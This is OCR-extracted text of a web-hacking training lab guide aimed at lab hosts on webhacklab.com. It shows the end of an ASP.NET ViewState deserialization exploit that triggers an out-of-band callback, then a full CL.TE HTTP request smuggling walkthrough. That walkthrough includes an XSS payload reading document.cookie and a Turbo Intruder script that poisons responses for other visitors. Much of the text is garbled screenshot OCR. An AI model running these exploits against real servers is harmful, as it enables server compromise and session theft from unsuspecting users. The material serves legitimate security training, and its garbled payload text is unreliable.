- bURBETh8dEJDEIXAMILLY3RonrXYwp+ic2d2kPIFWEZRxyKBEYNEdarZMpv2 ¥
Decryption Key
C98ACD36EF9112083280968CBASTEDOE23C1FC4ECBBOBF12
Target page path
fAccount/Login.aspx
Application path in IS
Command:
po
| Generate | /
Page: | 59
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Step 9: Copy the generated payload from above step and replace it in request captured in step 6 as

shown in the figure:

| Send || Cancel <|v >l Target: http://books.webhacklab.com /@

Request

Response|
Raw

12 Upgrade- Insecure-Requests: 1

13

14 __EVENTTARGET=S EVENTARGUMENT=S VIEWSTATE=
coGj IKOFOCOxZaFydFVsU8vy5eVSj4fVpt0/Tebol1ALxkqyXILiN5rstWoHVg5Qk 1 T4QdRKzksMdvI3ANP+QsX26P5u9yngkJ71qcA3IKUcmpdWQq
OgpT6FCL6Feu8ludxz/ewdonYXrjyyOaEjeWl/n97LPTGUDUUEA1oRAGEaNAgh4J1H1naAncAGmBueSknDI5PQz4BQNSCMFO4jpKbY1DTjWHUITIRg
y8aATl)stFaMBOH7+e4Mx/jav+8SkST/JajBPdj 1FofEWIMUSBUbH7awKTTI rRjAznY/YwU/oeejKLaoU+GPHDQTK/1mDz4TzZZIANvpS0o9TF IBahZ
j151IUA75uBx04AmKnron5d3eXrjHc79HO1GN4 fw2ESNfP29gdtjdgHRgz7RQjWtavvt3Y/t72Z19nbARGOmMbKCPt3Z52TS38HdM6 Ya2DwXASk t6SH
J1Pnj 1rkRDsDpOrYqBFPPRMgoSCzRxZ3M8vObIWkW7dX rRgnMqVTIRXhWkXehYBMWAMIVOLUOgbW/HLIFfxfpcKL101C)y+IIBA1r2QcBPfSOnroT
JZ1kBXxWWFwXTmy1KMMoS3UCavYxMf4 ItRgkhQKOgnQANMbH/ YbFn9c ICKAEfs)3qsCzmQKx IhWZfENaxUZulWB6uXwWvdZjnQpUUPPZHR41TqrP/P/ I1
OHhj OYPTMONKBbkzTrJTIwzS132YYjMaKcXj3C+8ke IWPYnIBHEBELQLl/cNdAfGvGFfnBBORgXkpDhqTLO9bo9b6] /xwmUfOVFo+/g7FyRZpdb93fiXq
LthG2GfbedWvg2F YtXSqp4Qb1KUF rAY6HUUA6UkQXm5bUn8E7h8dEIDE1XdM1LLV3RonrXYwp+ic2d2kP1FW6ZRxyK86 YNEdarZMpv2j iyv5AgZ190
Bg7025LRNOue L C+LH+kCUSFA4QrUKMAQmi rf r3BA4nHG3IhDO9z4Me ImzdO1gDby37RU4XaQWPQgnd]j 82b3mg4pl/X+k TROGATRLVywdB4NHIj vFpo
4FkTdt+RNApO+HaRQw81UZ0B6waoPICccthjA2Q]j 1sBiUHZD6GLgZz2] tHbMqMo+8+0gx rttl 7+5A0+w4128zB6 r0EgIR3uWoAp2UQbVvqgqoVbmoG
YU76Uiuxcefq0il6QtDDM8ydcY]jOmbjqIYCQT/UDICtGUE+4N4NnZSUjKONOSOt4UDIcIy112aD00m4ENmekx/jNaIrFbn8L+IEmKhfewvwOE+1XIG
SSP6D3Ki3qbTPkjgCNYk6ac6TUT5eEW8qrPStj veUu6VD3PS4HhpF1) /fxoatZ2MDfFOUEDAOh] +R31iWIj f4iQiovnUfbbMIfzSdzTgA+cDPbQsuuj
PbSB6UDe53]chi5QwNpgw4gtXdRFsaugkKbBzNBbuGAaib6zCre53GXhYugQcRzPv/eau+RCmpVesNefB8gYZW36Pd1ECIIbx8Nw1TVvwZ /K9cNt8/r
3xDfYVDsy2YydpkjEN4KPFMoQ+TLIEYIOfZb7sF+HwdVtClakmimgHbB4zNA3rIFsYqktCEN1QfgZ/smokwfyfDm6zk5MsU+nCMsbSMORMTGcpeN2E
TsuEmlj4heBc4s/udSBR/fYj8UcZdWrcsx70/NfIpm2D7HQfz2g9pqg7wD5Xaj 1hoj cBM4Rz/UQ2bX tmExXuxNIsIgpe8rnl510wVmpZ1WVn8cEk4b
Zb03tBtRC3z5gk1vomAkejvthB17zNX1Ab+iyfqQllTgABhGleIswFbP1S/59EF /1I0Rzazq0Q+XfEyMNFNOTAelWnbgkSdFkWnyimcZYw/0ObKMt1x
7PiZcsSwESE+aUGZyHq2VXZ04FXCFRUAqXhNAAWIt+4PWXGTZz2N/KyvRN1YZ1Mnoab01WojN42XBNral3YZ327cZ+AJ1aXKrYJ1lcj20xWrlB5wj38wu
8CTSeWfDuU32t7cSRSMUKVMZYgXFmas+3ZV90SYZEAA1XOVVrkQ3EL tUDZzkXOMaBn6P2sQyEcJKSxg9UTMOOThIOtB/yh8uH16TGeZqvXGnPE+ErTp
cE13vQ12HQYhY3dUVrcS3VV1eKqUH70xngaEeqDXcyKHDs0dqigkk t1+U18gv+XUqAZFOukKk 3WxLDwRAWwasd3kHHkbyo4eABODS62bLmZ5V1v7DHwW
StBZRAQwbu460DhLs77Vkos4fgWT7rTvQV3sX69Lma9mjHreC7L11CxXROhUGVAqE31FDD6N0ZAY+s6Gb rOCLOYRD53W+]dQVpsoYl+caBH1InTsUV
uahsWjWAQ7g00xEfpNRpOc fub39aVgUvgXXBFC5C302a5iwKQ58zgoDg49xhfs4PISMpVLRXQvITnicHQdKrT1IgB2qE/UtP4T1P61bYm4 rBZulap0
000Wzt1H9Th3bYe611t80XGG2c3LOPHYVUINH5CCsvsi+d61vyMOgm22q6kRroKj IXxNMWbi/HD1ShZQw71yhEPcXQN/JCdHOTtT3+PXFRbbaN133s
rmb9Dwiqow4cchbGOdy rvMQ8ib8CtYwiTDqGT j Sk+b9kz6zTceklgnsgqn+nwT1l1lekG2QKRASI3Lnt4sRtf3wOFDezC4QcQReX ftKOX1RqQ4dWQ6EkoL
cgCQtPIcubsybDnapyQfSqzAByUmNUZIhZEQ2yQKPiYaNadtK5yoF04D+U2sswn7pyRDzJqwWWqo2FKOIEL7pXUYGCqtSaxSWnBX+211GGZ2qalEvOl
4QkJYiZ+0Rx80erfmApxTzih9jCsNZsIwWeUhOTL4vV5WV+uzdgSKRZxv5VvIqt7Npgi7XLApLupoapQhrWlF4wWzbStQ5av2hzcWbnSkosF1IqCzZe
yJcvhM3wZez+16530rti08N9k/Vr+Unu+IChzgXSChLEMCTB2y0AsgHwFmR+q/hE+vdITMxXfvTAB11GIFwGaj TpzLA3s200dwOQBIgCEVbaY+Y8Ea
30qp0rYmdOCttkM6hWmWc9eof /hkKghwHGbe /a62p79KQrKvd50dhaXm1QAADGRE+smyyC3/3BNmZhR) INj jVZT751dj 51E/RqAgs//mAeg7bfoh4P
-'-5459stL'5RGAZw00P0ch‘BTk5 CvKLMIoUSTb--RGvOlszTJ4WWVJ1Wm+w & EVENTVALIDATION-

>

q) 4 i
4thprngoanOalw'l.SVlY'l.GEorJh55Un3E30kb6wm1FnCoRSVzVo%,zFNKfM1X7TPpsKy]a&ct'l.GB%ZAMaJ.nContent%uEmaﬂ test%40test.com
&ct100%24MainContent%24Password=test&ct100%24MainContent%24ct105=Log+in

@{é‘} Le) u")l http://books. webhacklab.com/Account/Login I

4
v

1 match | \n | Pretty 0 matches |

Ready

Step 10: Convert the pasted payload in 'URL-encode key characters' as shown in the figure:

Send Cancel | < |v >|r Target: http://books.webhacklab.com / @
Request Response
Raw | Params | Headers | Hex Raw

12 Upgrade-Insecy -2 2

13 Send to Intruder Ctri+l

14 __EVENTTARGET= Send to Repeater Ctrl+R
c0Gj IKOFOCOXxZA Send to Sequencer stWoHVg5Qk 1 T4QdRKzksMdvI3ANP+QsX26P5u9yngk]71qcA3IKUcmpdWQq
0gpT6FCLEFeUB]  send to Comparer qEaNAgh4J1H1naAncAGmBueSknDI5PQz4BANSCHFO4jpKbYLDTWHUI TIRg
yB8aATIIstFalBY o .4 to Decoder WKTTIrRjAznY/YwU/oeejKLaoU+GPHDQTK/1mDz4TzZZJANvpSo9TFIBahZ
j151IUA75uBx04 R Sinlb Rgz7RQjWtavvt3Y/t7zZ19nbARGOmMbKCPt3Z52TS38HdM6 Ya2DwXASkt6SH
J1PnjlrkRDsDpg equest in browser > |hwkXehYBMWAMIVOLUOGbW/HqLIFfxfpcKL101C]y+IIBA1r20cBPfSONroT
JZ1kBXxWWfwXTn| Send to JOSEPH ICKAEfsI3qsCzmQKx IhWZfENaxUZulWB6uXWvdZjnQpUUPPZHR41TqrP/P/
OHhjOYPTMONKBE Convert to XML '1/cNdAfGvGFnBBORgXkpDhqTL9bo9b6] /xwmUfOVFo+/g7FyRZpdb93fiXq
LthG2GfbedWvg2 Convert to JSON E1XdMLLLV3RonrXYwp+ic2d2kP1FW6ZRxyK86 YNEdarZMpv2jiyv5AgZ190
Bg7025LRNOueld send to Java Serial Killer mzd01gDby37RU4XaQWPQgndj82b3mg4pl/X+k TROgdTRLVywdB4NHSj vFpo
4Fde?+RNAp04+.| Insert collaborator payload thquHo+B+ng rttJ7+5Ao+w412818§rOEgJR3uHoAp2U0vangoVanG
YU76UiuxcefqoOi] Insert collaborator insertion point JKONOSOt4UDIcIy112aD00m4Enmekx/jNaIrFbn8L+IEmKhfewvwOE+1XIG
sSP6D3K1i3gb TPk /fxoatZ2MDfFOUEDAOh] +R3iWIjf4iQiovnUfbbMI fzSdzTgA+cDPbQsuuj
PbSBEUDe53]chi] Convert to chunked YugQcRzPv/eau+RCmpVesNefB8gYZW36PA1ECOTbXBNWL TVYWZ/KICNt8/
3xDfYVDsy2Yydp GZIP encode body B4ZNA3rIFsYqktCEn1QfgZ/smokwfyfDm6zkSMsU+nCHsbSMORMTGCpeN2E
TsuEmlj4heBc4s Launch Smuggle probe 7wD5Xaj lhoj cBM4Rz/UQ2bXtmExXuxNIsIqpe8rnl510wVmpZ1WVn8cEk4b
ZbO3tBtRC3z5gk  Engagement tools [Pro version only] » [P1S/59EF /1I0Rzazq0Q+X fEyMNFNOTAe lWnbgkSdFkWnyimcZYw/0ObKMt1x
7PiZcswESE+alG  change request method IN1YZ1Mnoab01WojN42XBNral3YZ327cZ+AJ1aXKrYJ1cj20xWrlB5wj38wu
8CTSeWfDu32t7¢| Change body encoding IDZzkX0MaBn6P2sQyEcIKSxg9UTmOOThIOtB/yh8uH16TGeZqvXGnP6+ErTp
cE13vQ12HQYh +U18gv+XUqAZFOuKk3WxLDwRAWwasd3kHHkbyo4eABODs62bLmZ5V1v7DHwW
stBZRAQwbusson COPY URL XROhUGVAQE31FDDENOZAY+56Gh rOCLOYRD53W+1dQVpsoYJ+caBH1InTsUV
uahsWjWAQ7geex ~ COPY as curl command 949xhfs4PISMpVLRXQVITnicHQdKrT1IgB2qE/UtP4T1P61bYm4 rBZulap0
000Wzt1H9Ih3b Copy to file 12q6kRrOKj IXxNMWbi/HD1ShZQw71yhEPcXQN/JCdHOf tT3+PXFRbbaN133s
rmb9Dwiqow4cc Paste from file qn+nwT11ekG2QKRASI3Lnt4sRtf3wOFDezC4QcQReXftKOX1RqQ4dWQ6kol
cgCQtPIicubsybD save item D+U2sswn7pyRDz] qWWqo2FKOIEL 7pXUYGCqtSaxSWnBX+211GGZ2qalEvol
4QkJYiZ+0Rx80€ 5., e entire history xv5VvIqt7Npgi7XLApLupoapQhrWlF4wzbStQ5aV2hzcWbn5kosF1IqCzZe
ylcvhM3wZez+16 Pacto LRI as b aast WFmR+q/hE+vdITMxXfvTAB11GIFwGaj TpzLA3s200dwOQBIgCEVhaY+Y8Ea
30qpOrYmdoCttk : =) m1QAADGRE+smyyC3/3BNmZhRj INj jVZT751dj 51E/RqAgs//mAeg7bfohaP
qipS459XsvLj5R_ Add to site map MLME&_EMENTVALmnmN_
12smvn1QNW3yc ORI Cleadleh]
4tNzprwg2o3nQg URL-encode as you type HTML
&t100%24Maing  cyt Ctrl+X | Basesa

@ik €](>] httg  copy Ctrl+C | Construct string 4 0 matches |

Ready Paste Ctrl+V i

2 FTT SR T
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Step 11: Forward request to the server and note that the server responds with '500 Internal Server

Error' as shown in the figure:

Send | Cance >l
Request

| Raw | Params | Headers | Hex |

1 POST /Account/Login HTTP/1.1

2 Host: books.webhacklab.com

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64;
Firefox/60.0

4 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8

5 Accept-Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate

7 Referer: http://books.webhacklab.com/Account/Login

8 Content-Type: application/x-www-form-urlencoded

9 Content-Length: 3618

10 Cookie: __AntiXsrfToken=5badc29aa2504b8a860088589a9954c0

11 Connection: close

12 Upgrade-Insecure-Requests: 1

rv:60.0) Gecko/20100101

14 __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=
coGj IKOFOCOxZaFydFVsUBvy5eVSj4fVpt0/Tébol1ALxkqyXILiN5rstWoHVg5Qk1T4Qd
RKzksMdvI3ANP%2bQsX26P5u9yngk]71qcA3IKUcmpdWQqOgpT6FCLEFeu81lubxz/ewdon
YXrjyyOaEjeWl/n97LPTGUDUUEA1oRAgEaNAgh4)1H1naAncAGmBueSknDISPQz4BQN5SCH
FO4jpKbY1DTjWHUI TIRgy8aATIIstFaMBIH7%2bedlx/javis2b8SkSf/JajBPdj IFofEWL
MUsBUbH7awKTTJ rRjAznY/YwU/oeejKLaoU%2bGPHDQTK/1mDz4TzZZJANvpSo9TFIBahZ
j15iIUA75uBx04AmKnron5d3eXrjHc79H01GN4 fw2ESNfP29gdtj dgHRgz7RQjWtavvt3Y
/t7zZ19nbARqOmMbKCPt3Z52TS38HdM6 Ya2DwXA5k t6SHI1Pnj 1 rkRDsDpOrYqBFPPRMgoS
CzRxZ3M8vObIWkW7dXrRgnMqVTIRXhWkXehYBMwAMIVOLUOgbW/HLIFfxfpcKL101Cly%
2bIIBA1r2QcBPfSONroTIz1kBXxWWfwX Tmy1KMMoS3UCavYxMf4ItRgkhQKOgnQANMbH/Y
bFn9cICKAEfsI3qsCzmQKx IhWZ fENaxUZulwB6uXWvdZjnQpUUPPZHR41TqrP/P/0Hhj0Y
PTMONkBbkzTrlTIwzS132YYjMaKcXj3C%2b8keIWPYNnIBHEBEtQl/cNdAfGvGfnBBORgXk
pDhqTL9bo9b6] /xwmUf OVFo%2b/g7FyRZpdb93f iXqL thG2GfbedWvg2F YtXSqp4Qb1KUF
rAY6HUUAGUkQXmSbUN8E7h8dEIDE1XdM1LLV3RonrXYwp%2bic2d2kP1FW6ZRxyK86 YNEd
arZMpv2jiyv5AgzZ190Bg7025LRNOue1C%2bLH%2bk CUSFA4QrUkMAQmirf r3BA4nHG3IhD
09z4MeImzd01gDby37RU4XaQWPQgndj82b3mg4pl/X%2bk TROgdTRLVywdB4NHIj vFpo4F
kTdt%2bRNApO%2bHaRQW81UZ0B6waoPICccthjA2Qj 1sBiUHZD6GLgZZ2] tHbMgMo%2b8%
2b0gxrttl7%2b5A0%2bw41282zB6 rOEgIR3uWoAp2UQbVvqgqoVbmoGYU76Uiuxcefq0ile
QtDDM8ydcYJjOmbjqIYCQT/UDICtGUE%2b4N4NZSUjKONOSOt4UDIcIy112aDO0OmM4Enmek

v 73MAT wCh 5 APMVLE An BT TEACWO ~ -DE
@{é} « —)I http://books. webhacklab.com/Account/Login I 1 match  \n ret

Ready

I

12
v

Target: http://books.webhacklab.com j @

esponse
[ Y
Il HTTP/1.1 500 Internal Server Errorl {
4 =Lontroty private
3 Content-Type: text/html; charset=utf-8
4 Server: Microsoft-IIS/8.5
5 X-AspNet-Version: 4.0.30319 WV
6 X-Powered-By: ASP.NET
7 Date: Mon, 20 Jul 2020 19:30:07 GMT

8 Connection: close
9 Content-Length: 8940

)
1 <!DOCTYPE html>
3

2 <html>
. K-

il <title>The state information is invalid for this
page and might be corrupted.</title>

i

/>

16 <style>

17 body {font-family:"Verdana";font-weight:normal;
font-size: .7em;color:black;}

18 p {font-family:"Verdana";font-weight:normal;color:
black;margin-top: -5px}

19 b {font-family:"Verdana";font-weight:bold;color:
black;margin-top: -5px}

20 H1 { font-family: "Verdana";font-weight:normal;
font-size:18pt;color:red }

21 H2 { font-family: "Verdana";font-weight:normal;
font-size:14pt;color:maroon }

22 pre {font-family: "Consolas", "Lucida Console",
Monospace; font-size: 11pt;margin:0; padding:0.5em; line-height
:14pt}

23 .marker {font-weight: bold; color: black;
text-decoration: none;}

24 .version {color: gray;} .

Avrar fmarmin bhatdam: 10w, 1

QBB

0 matches | \n

9,199 bytes | 1,176 millis

Pretty |

Step 12: Payload is successfully executed on the server and OOB call is received as shown in the

figure:

.o ~/tools/xxe
python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

192.168.200.130 - - [11/Jul/2021 ©5:15:22] code 404, message File not found
192.168.200.130 - - [11/Jul/2021 05:15:22] "GET /SERVER2K12_DS$ HTTP/1.1" 404 -
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HTTP Desync Attacks

Challenge URL: http://covid19.webhacklab.com:5000

Discover the Cross-Site Scripting vulnerability.
[ )

Perform HTTP Desync Attack to get the Cross-Site Script executed when a new user

visits.
Solution:

Step 1: Access the application via ‘http://covid19.webhacklab.com:5000’ and try to identify any
Cross-Site Scripting vulnerability:

. SOMD) &

«)> C @ |® # covid19.webhacklab.com:5000 | ses w YN @ ® " =

90%

WELCOME T0 COVID-19 PORTAL!

Log In to get more information...

Protect yourself and others from getting sick...

Protect yourself and others from getting sick Protect others from getting sick Protect others from getting sick

Wash your hands Wash your hands
When coughing and sneezing
cover mouth and nose with

flexed elbow or tissue

« after coughing or
sneezing

L]

,’@

Wash your hands with
soap and running water
when hands are visibly
dirty

.

“4\ Avoid close contact when you

YK a ncing cough and fevel
« when caring for the ! fexpeilenchylcoughis ver

sick
« before, during and
after you prepare food

Throw tissue into closed bin

hands are ni .
If your hands are not immediately after use

visibly dirty,

+
frequently clean them
. by using alcohol-based
hand rub or soap and
water

e9.

« before eating
If you have fever, cough and

Avoid spitting in public
difficulty breathing seek medical

®
care early and share previous travel

history with your health care provider

‘,‘% World Health
~#.# Organization

« after toilet use

Clean hands with alcohol-based @ @

hand rub or soap and water %@

after coughing or sneezing and
when caring for the sick () g
Q ¥ Organization

« when hands are
visibly dirty

« after handling animals
or animal waste

& World Health & World Health
*#.# Organization & Organization

Should | avoid shaking

How should I greet

hande haraiien af tha

v
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Step 2: During Reconnaissance, a web page which is vulnerable to Reflected Cross-Site Scripting
attack will be discovered. Figure shows that the application executed malicious JavaScript when the
URL
http://covid19.webhacklab.com:5000/hello/world%22%3E%3Cimg%20src=a%20onerror=alert(docu

ment.location)%3E was accessed:

Affected Parameter - REST based Name

About Hacker!

X @

http:/fcovid19.webhacklab.com:5000/hello/world%22%3E%3Cimg%20src=a%20onerror=alert(document location)%3E

[]Prevent this page from creating additional dialogs
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Step 3: Figure below shows HTTP Request and Response captured for Home page

Note: You can capture request of any page from the application:

[ Dashboard

I Target T Proxy T Intruder I Repeater T

Sequencer

I Decoder T Comparer I Extender ]

< 7 >y

Send Cancel

Request

J Raw T Params I Headers I Hex ]

Target: http:/fcovid19.webhacklab.com:5000 / @

GET/HTTR/M .1

2 Host: covid19.webhacklab.com:5000

' User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; n.77.0) Gecko/20100101 Firefox/77.0
4 Accept: text/html application/xhtml-+xml application/xml; q=0.9 image/webp */* q=0 8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

° Cookie: session=eyJ1c2VybmFZSIEINhdmFulnd, XulatQ fOPERxx BDWjV7 sWQJgnugv48m
2 Upgrade-Insecure-Requests: 1

[y

T

-
v

Response

J Raw T Headers I Hex I HTML I Render ]

0 matches

1 HTTPAM.1 200 OK

2 Sewer: gunicorn/19.9.0

3 Date: Thu, 11 Jun 2020 12:53:04 GMT
4 Connection: close

2 Content-Type: text/html; charset=utf-8
& Content-Length: 1602

<ldoctype htmi=
9 <head>
10 <«title=COVID-19</title>

=
¥

0 matches

1.764 bytes | 793 millis
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Step 4: Right click on the Request section in Burp Repeater and click on ‘Change request method’

to change the request from GET to POST:

[ Dashboard

I Target T Proxy T Intruder I Repeater T

Sequencer

I Decoder T Comparer I Extender ]

Send Cancel < |v > |

Request

J Raw T Params I Headers ]' Hex ]

Target: http:/fcovid19.webhacklab.com:5000 / @

GET/HTTR/M 1
2 Host: covid19.webhacklab.com:5000

5

5 User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4,
4 Accept: text/html application/xhtml+xml application
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Connection: close

° Cookie: session=eyJ1c2VybmFtZSIENNhdmFulng. X
Upgrade-Insecure-Requests: 1

o

=]

Response

J Raw T Headers T Hex T HTWML T Render ]

1 HTTR/M.1 200 OK

2 Server: gunicorn/19.9.0

3 Date: Thu, 11 Jun 2020 12:53:04 GMT
4 Caonnection: close

5 Content-Type: text/html; charset=utf-8
& Content-Length: 1602

<ldoctype htmi=
9E <head>
10 <title=CCOVID-19<ftitle=

@ < + = Type a search term

Done

Scan

Do passive scan

Do active scan

Send to Intruder

Send to Repeater

Send to Sequencer

Send to Comparer

Send to Decoder

Show response in browser
Request in browser

Send reguest to DS - Manual testing
Send request to DS - Exploitation
Send to JOSEPH

Send selected text to JSOM Web Tokens Tab to decode

Send request to Autorize
Send cookie to Autorize

Engagement tools

Change request method

Change body encoding
Copy URL

Copy as curl command
Copy to file

Paste from file

Save item

Save entire history
Paste URL as request
Add to site map

i
-
Ctrl+l
Ctrl+R
=
[ L
0 matches
[a

: b

e
v

0 matches

1.764 bytes | 793 millis
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Step 5: Right click on the Request section in Burp Repeater and click on ‘Convert to chunked’ to

convert the HTTP Request to chunked, so that a Request header ‘Transfer-Encoding: chunked’ gets

added:

[ Dashboard I Target T Proxy T Intruder I Repeater T

Sequencer

I Decoder T Comparer I Extender ]

Send Cancel < |v >\
[_Send | <)

Request

Target: http:/fcovid19.webhacklab.com:5000 / @

J Raw T Params I Headers I Hex ]

POST F HTTR/ .1
2 Host: covid19.webhacklab.com:5000
5 User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; n.77.0) Gecko/20100101 Firefo
4 Accept: text/html application/xhtml-+xml application/xml; q=0.9 image/webp */* q=0 8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
° Cookie: session=gyJ1c2VybmFtZSIEINhdmFulng. XulotQ fOPEnxx BOUjiVy s\WQJgnlug
2 Upgrade-Insecure-Requests: 1
10 Content-Type: application/s-www-form-urlencoded
11 Content-Length: O

5

Response

J Raw T Headers T Hex I HTML I Render ]

1 HTTR/.1 200 OK

2 Sewer: gunicorn/19.9.0

3 Date: Thu, 11 Jun 2020 12:54:52 GMT
4 Connection: close

2 Content-Type: text/html; charset=utf-8
& Content-Length: 1602

5 <ldoctype htmi=
9E <head=
10 <title>COVID-19<ftitle>

@ < + = Type a search term

Daone

Scan

Do passive scan

Do active scan

Send to Intruder

Send to Repeater

Send to Sequencer

Send to Comparer

Send to Decoder

Show response in browser

Request in browser

Send request to DS - Manual testing
Send request to DS - Exploitation
Send to JOSEPH

Send selected text to JSON Web Tokens Tab to decode
Send request to Autorize

Send cookie to Autorize

Convert to chunked

Launch Smuggle probe
Engagement tools
Change reguest method
Change body encoding
Copy URL

Copy as curl command
Copy to file

Paste from file

Save item

Save entire history
Paste URL as request
Add to site map
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Step 6: Right click on the Request section in Burp Repeater and click on ‘Smuggle attack (CL.TE)

to send the request to perform Request Smuggling attack, Content Length - Transfer Encoding:

NotSoSecure part of

claranet cyber security

[ Dashboard I Target T Proxy T Intruder I Repeater T Sequencer I Decoder T Comparer I Extender ]
1= |
Send Cancel <|v >\ Target: http://covid19.webhacklab.com:5000 / @
Request Scan .
Do passive scan
J Raw T Params T Headers T Hex ] Do active scan
1 POST /[ HTTPA .1 Send to Intruder Ctrl+
2 Host: covid19.webhacklab. com:5000 Send to Repeater Ctrl+R
3 User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4, x64; nv:77.0) Gecko/201( Send to Sequencer
: Accept: text/html, application/xhtml+xml application/xml; g=0.9 image/webp * Send to Comparer
: Accept—Langulege.: enl—US,en;q:U.E Send to Decoder
& Accept-Encoding: gzip, deflate )
7 Connection: close Show response in browser
° Cookie: session=gyJ1c2VybmFtZSIEINhdmFulng. XulotQ fOPERxx BDujj\V7 s\| Request in browser >
9 Upgrade-Insecure-Requests: 1 Send request to DS - Manual testing
- Content-Type: application/x-www-form-urlencoded Send request to DS - Exploitation
++ Content-Langth: 5 Send to JOSEPH
12 Transfer-Encoding: chunked
13 Send selected text to JSON Web Tokens Tab to decode
1A - Send request to Autorize
@ liJ [LJ u Type a search term Send cookie to Autorize
Convert to chunked
Response GZIP encode body
J Raw T Headers I Hex I HTML I Render ] Sl e o] s
. Smuggle attack (CL.TE)
- HTTPA.1 2[_]0 OK Smuggle attack (TE.CL)
< Serer: gunicorn/19.9.0
3 Date: Thu, 11 Jun 2020 12:56:45 GMT Engagsmenyoots L
4 Connection: close Change request method
3 Content-Type: text/html; charset=utf-8 Change body encoding
f Content-Length: 1602 Copy URL
' ) Copy as curl command
: <ldoctype htmi= Copy tafle
98 <head>
10 <title=COVID-19<ftitle> Paste from file
11 Save item
o [+ 1[5 [Tone s conn b term Save entire history
©) liJ [LJ m [VpE A searan e Paste URL as request
Done Add to site map
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Step 7: As soon as you click on ‘Smuggle Attack CL.TE’ a Smuggler extension will load. Copy the
below mentioned script and paste it to Request Smuggler Burp Extension which will perform the

Request Smuggling attack - CL.TE. Screenshot is attached below for reference and understanding:

Note: Follow these steps and replace the “Transfer-Encoding: chunked” in the box below:

0 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e Transfer-Encodin ) Text |O Hex &
1 67 3a63 68 75 6e 6b 65 64 - -- -- -- -- -- g:chunked (Decode ns
| Encode as ...

l Hash ...

l Smart decode

0 54 72 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e Transfer-Encodin Text OHex‘
1 67 3a@-€3 G8.Z5 Be Bb: 65 BA < =z =z wn i gchunked

Decode as ...

ﬁ\

Plain

ma ecode

Transfer-Encoding:chunked | < m— Io Text | Hex

\ Decode as ...

’ Encode as ...

| Hash ...

’ Smart decode

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint="http://covidl9.webhacklab.com:5000",
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
maxRetriesPerRequest=0

)

attack = "'"'POST / HTTP/1.1
Host: covid19.webhacklab.com:5000
Content-Length: 37
Connection: keep-alive
Transfer-Encoding: chunked

GET /hello/world<img%20@src=a%20onerror=alert(document.cookie)> HTTP/1.1

X-Foo: bar

engine.queue(attack)
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engine.start()

def handleResponse(req, interesting):
table.add(req)
if req.code == 200:
victim = '''GET / HTTP/1.1
Host: covidl9.webhacklab.com:5000
Connection: close

for i in range(10):

req.engine.queue (victim)

= §Turbo Intruder - covid19.webhacklab.com I - O X

J RawT Params I Headers | Hex

1 POST/HTTRAA S
2 Host: covid19.webhacklab. com:5000

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4, x64; n:77.0) Gecko/20100101 Firefox/77.0
4 Accept: text/html application/xhtml+xml,application/xml;q=0.9 image/webp **,q=0.8

5 Accept-Language: en-US en;q=0.5

& Accept-Encoding: gzip, deflate L
7 Connection: close v

@ EJ EJ EJ Type a search term 0 matches

1 Hef queueRequests(target, wordlists):

2 engine = RequestEngine(endpoint="http://covid19.webhacklab. com:5000',
3 concurrentConnections=1,

4 requestsPerConnection=1,

5 pipeline=False,

6 maxRetriesPerRequest=0

7 )

9 attack = "POST /HTTR/M 1
10 Host: covid19.webhacklab. com:5000
11 Content-Length: 37
12 Connection: keep-alive
13 Transfer-Encoding: achunked

151
18 A
170

19 GET fhellofworld<img%20src=a%20onerro=alert(document. cookie)= HTTP/.1
20 ¥-Foo: bar”

21 engine.queue(attack)

2 engine.start()

4 def handleResponse(req, interesting):
table add(req)

if req.code == 200:

27 victim = "GET / HTTP/.1

22 Host: covid19.webhacklab. com:5000
28 Connection: close

foriin range(10):
34 req.engine.queue(victim)

=
v

@ EJ + > | |Type a search term 0 matches

|
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Step 8: Analyze HTTP Request and Response in Turbo Intruder:

|£ | Turbo Intruder - covid19.webhacklab.com - running - O X
Row | Payload | Status | Words | Length | Time | Label
I 0 200 376 1163 402
1 200 250 762 505
2 200 376 1163 410
3 200 376 1163 614
4 200 376 1163 17
5 200 376 1163 523
6 200 376 1163 428
7 200 376 1163 495
8 200 376 1163 577
9 200 376 1163 408
10 200 376 1163 413
" 200 376 1163 h22
J RawT Params I Headers | Hex J RawT Headers | Hex | HTML I Render ]
1 POST/HTTRM A : 1 HTTRA.1 200 OK A
2 Host: covid19 webhacklab. com:5000 2 Server. gunicon/19.9.0
3 Content-Length: 94 3 Date: Thu, 11 Jun 2020 12:57:56 GMT
4 Connection: keep-alive 4 Content-Type: text/html; charset=utf-8
5 Transfer-Encoding: achunked 5 Content-Length: 1020
6 3

71 <ldoctype htmi>

= A SE <head=
a0 o <title=COVID-19</titla>
11 GET /hellofwarld<img%20src=a%20onerror=alert(document.cookie)> 116 <style»
HTTRP/1 .1 12 @import url{http:/fonts. googleapis. com/css ?family=Amatic+SC:700);
12 X-Foo: bai 13 bodyf

14 text-align: center;
L [15 )
v |16 hif

@ [=][+] (2] [7eea search tem omaches [@ [ <[+ |[ > [HTPA12000K 1 match

I|Reqs: 12 | Queued: 100 | Duration: 64 | RPS: 0 | Connections: 12 | Retries: 0| Fails: 0] MNext:

"L

( Halt
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Step 9: Once the Turbo Intruder is in the ‘Attack Mode’, CL.TE requests are sent simultaneously to
the application. When any user visits the application the payload will execute resulting into Cross-

Site Scripting as per our payload from Step 7:

|£ | Turbo Intruder - covid19.webhacklab.com - running - O X
Row | Payload | Status | Words Length Time Label |
0 200 376 1163 402
1 200 250 762 505 |
2 200 376 1163 410
3 200 376 1163 614
4 200 376 1163 517
5 200 376 1163 523
